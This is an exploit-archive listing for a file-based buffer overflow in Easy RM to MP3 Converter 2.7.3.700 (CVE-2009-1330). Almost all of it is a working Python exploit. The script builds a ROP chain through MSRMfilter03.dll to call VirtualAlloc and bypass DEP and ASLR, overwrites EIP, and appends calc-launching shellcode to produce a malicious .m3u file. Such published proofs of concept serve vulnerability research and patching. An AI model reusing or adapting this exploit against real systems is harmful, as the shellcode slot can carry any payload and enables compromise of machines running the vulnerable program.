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packetstormCsaba FitzlPACKETSTORM:137456
HistoryJun 13, 2016 - 12:00 a.m.

Easy RM To MP3 Converter 2.7.3.700 Universal DEP + ASLR Bypass

2016-06-1300:00:00
Csaba Fitzl
packetstormsecurity.com
23

0.069 Low

EPSS

Percentile

93.9%

`# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass  
# Date: 2016-06-12  
# Exploit Author: Csaba Fitzl  
# Vendor Homepage: N/A  
# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe  
# Version: 2.7.3.700  
# Tested on: Windows 7 x64  
# CVE : CVE-2009-1330  
  
import struct  
  
def create_rop_chain():  
  
# rop chain generated with mona.py - www.corelan.be  
# added missing parts, and some optimisation by Csaba Fitzl  
rop_gadgets = [  
  
#mov 1000 to EDX - Csaba  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x10025a1c, # XOR EDX,EDX # RETN   
0x1002bc3d, # MOV EAX,411 # RETN  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc4c, # ADD EAX,100 # POP EBP # RETN   
0x41414141, # Filler (compensate)  
0x1002dc24, # ADD EAX,80 # POP EBP # RETN  
0x41414141, # Filler (compensate)  
0x1002dc41, # ADD EAX,40 # POP EBP # RETN  
0x41414141, # Filler (compensate)  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x1001d2ac, # ADD EAX,4 # RETN  
0x10023327, # INC EAX # RETN  
0x10023327, # INC EAX # RETN  
0x10023327, # INC EAX # RETN  
# AT this point EAX = 0x1000  
0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll]   
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI  
0x41414141, # Filler (compensate)  
  
  
0x10026d56, # POP EAX # RETN [MSRMfilter03.dll]   
0x10032078, # ptr to &VirtualAlloc() [IAT MSRMfilter03.dll]  
0x1002e0c8, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll]  
  
0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll]   
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x10027c5a, # POP EBP # RETN [MSRMfilter03.dll]   
0x1001b058, # & push esp # ret [MSRMfilter03.dll]  
0x1002b93e, # POP EAX # RETN [MSRMfilter03.dll]   
0xfffffffb, # put delta into eax (-> put 0x00000001 into ebx)  
0x1001d2ac, # ADD EAX,4 # RETN  
0x10023327, # INC EAX # RETN  
0x10023327, # INC EAX # RETN  
0x1001bdee, # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll]   
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
  
0x10029f74, # POP ECX # RETN [MSRMfilter03.dll]   
0xffffffff, #   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]   
0x1002bc6a, # POP EDI # RETN [MSRMfilter03.dll]   
0x1001c121, # RETN (ROP NOP) [MSRMfilter03.dll]  
0x10026f2b, # POP EAX # RETN [MSRMfilter03.dll]   
0x10024004, #address to xor, it will point to the DLL's data section which is writeable. Also will work as NOP  
0x1002bc07 # PUSHAD # XOR EAX,11005 # ADD BYTE PTR DS:[EAX],AL   
  
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
buffersize = 26090  
  
junk = "A" * buffersize  
  
eip = '\x85\x22\x01\x10' # {pivot 8 / 0x08} : # ADD ESP,8 # RETN  
  
rop = create_rop_chain()  
  
calc = (  
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"  
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"  
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"  
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"  
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"  
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")  
  
  
shell = "\x90"*0x10 + calc  
  
exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell))  
  
filename = "list.m3u"  
textfile = open(filename , 'w')  
textfile.write(exploit)  
textfile.close()  
  
`

0.069 Low

EPSS

Percentile

93.9%